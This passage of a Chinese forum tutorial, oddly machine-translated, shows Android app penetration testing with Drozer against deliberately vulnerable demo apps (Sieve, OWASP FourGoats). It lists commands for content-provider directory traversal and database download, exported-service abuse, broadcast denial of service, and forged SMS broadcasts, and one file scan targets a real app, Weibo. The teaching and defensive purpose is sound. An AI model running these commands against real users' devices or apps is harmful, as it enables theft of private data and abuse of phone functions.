    文件 操作

    前面测试了存在注入的 URI,由于 provider 还提供文件访问,于是可以探测目次穿越
    File System-backedContent Provider 提供了访问底层文件体系的方法,Android 沙盒会阻止App共享文件,而 FileSystem-backed Content Provider 答应App共享文件。
    对于sieve来说,我们可以推测出的FileBackupProvider就是一个filesystem-backed content provider。这个路径代表了我们想要打开的文件的位置。因此我们可以推测它的目次URIs,而且使用drozer的app.provider.read模块检察某个文件。执行以下命令可对底层文件进行读取:

    contentprovider存在SQL注入和目次遍历的风险。Drozer提供模块来主动测试这些类型的毛病。
       文件下载:run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
      目次遍历毛病: run scanner.provider.traversal -a com.mwr.example.sieve
      注入 检测

    目次遍历毛病检测:

       下载文件 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\database.db
        列出指定文件路径里全局可写/可读的文件
    run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
    run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
    run app.broadcast.send --component 包名 --action android.intent.action.XXX
      至此几乎完全攻陷了sieve,提取出了用户的密码、pin,密文,也发现并使用了许多典型的毛病,比如SQL注入、目次遍历等。电商关注的是业务逻辑毛病、越权。具体的就是价格篡改、订单便利、客户敏感信息泄漏等等毛病,并形貌毛病测试方法及测试点有哪些。
    Service 提权

    Service 作为 Android 四大组件之一,具有和Activity一样重要的级别,运行于背景的服务没有界面。其他应用组件可以大概启动Service,而且当用户切换到别的的应用场景,Service将持续在背景运行。别的,一个组件可以大概绑定到一个service与之交互(IPC机制),比方,一个service可能会处置惩罚网络操作,播放音乐,操作文件I/O或者与内容提供者(content provider)交互,所有这些运动都是在背景进行。从外貌上看service并不具备危害性,但现实上service可以在背景执行一些敏感的操作。
       Service存在的安全毛病包括:权限提拔,拒绝服务攻击。没有声明任何权限的应用即可在没有任何提示的情况下启动该服务,完成该服务所作操作,对体系安全性产生极大影响。
      以下示例怎样借助可导出的Service组件进行权限提拔,演示过程基于另一个毛病Demo APP,下载地址:OWASP GoatDroid- FourGoats Android App.apk,安装后主页面如下:

    使用 jadx-gui 反编译 APK 文件并检察源码:

    发现 org.owasp.fourgoats.goatdroid.LocationService 服务可被导出且不需要任何权限,这意味着任何与 FourGoats 应用程序安装在同一设备上的恶意应用程序可以访问该设备的位置,这黑白常伤害的。使用 Drozer 确定下该APP的攻击面:

    接着可以使用以下命令,调用内部服务组件:
    检察services信息:run app.service.info -a org.owasp.goatdroid.fourgoats
    启动相关服务用法:run app.service.start --action 服务名 --component 包名 服务名
    示例:run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
    直接执行造成拒绝服务:run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService
    执行以下命令,观察状态栏中的位置标记和 GPS 位置正在由 FourGoats 应用程序访问:

    Broadcast Receive

    Broadcast Receive 广播接收器:应用可以使用它对外部事件进行过滤只对感爱好的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有效户界面,然而它们可以启动一个 Activity 或 Serice 来响应它们收到的信息,或者用 NotificationManager 来关照用户。关照可以用许多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一样平常来说是在状态栏上放一个恒久的图标,用户可以打开它并获取消息。
    当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,使用这一毛病,攻击者可以在用户手构造照栏上推送任意消息,通过配合别的毛病偷取本地隐私文件和执行任意代码。Android 可以在设置文件中声明一个receiver或者动态注册一个receiver来接收广播信息,攻击者假冒APP构造广播发送给被攻击的receiver,是被攻击的APP执行某些敏感行为或者返回敏感信息等,如果receiver接收到有害的数据或者命令时可能泄漏数据或者做一些不妥的操作,会造成用户的信息泄漏乃至是产业损失。
       1.检察暴露的广播组件信息:
              run app.broadcast.info -a com.package.name  获取broadcast receivers信息
              run app.broadcast.send --component 包名 --action android.intent.action.XXX
      2.实验拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
              run app.broadcast.send 通过 intent 发送 broadcast receiver
              空action:
                      run app.broadcast.send --component 包名 ReceiverName
                      run app.broadcast.send --component 包名 ReceiverName
              空extras:
                      run app.broadcast.send --action android.intent.action.XXX
      下面使用 fourgoats.apk 测试广播接收器组件,检察 fourgoats 该 APP 的可攻击点,可以看到存在 广播问题,进一步检察对外的 broadcast 组件信息:

    由于运行 broadcast 组件需要找到对应的 action,所以需要反编译 app,检察反编译出的 AndroidManifest.xml 文件,可看到 receiver 的 exported 设置未进行设置,阐明存在越权问题,可发送恶意广播,伪造消息等。

    进一步检察源代码,发现需要两个参数 phoneNumber 和 message:

    拒绝服务攻击

    输入命令:run app.broadcast.send --action <action> ,实验拒绝服务攻击检测,向广播组件发送不完整 intent 使用空 extras,可看到应用制止运行:

    发送恶意广播

    发现使用该毛病可发送恶意广播包:run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message pwnd!
    如下图所示:

    总结


    • 1、当组件为私有组件时,建议设置 exported 的值为 false(exported查找方法,搜索 android:exported);
    • 2、当组件为公有组件时,建议对其进行权限控制。

    获取手机交互shell

       shell.start                                               获取手机交互shell
      上传/下载文件到设备

       tools.file.upload / tools.file.download         上传/下载文件到设备
      安装二进制文件到设备

       tools.setup.busybox / tools.setup.minimalsu        安装可用的二进制文件
      

    攻防天下--mobile高手进阶区“基础Android”逆向过程,三种方法,附文件
    :https://www.52pojie.cn/thread-1632193-1-1.html




     

    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    x
    回复

    使用道具 举报

    0 个回复

    倒序浏览

    快速回复

    您需要登录后才可以回帖 登录 or 立即注册

    本版积分规则

    守听

    金牌会员
    这个人很懒什么都没写!

    标签云

    快速回复 返回顶部 返回列表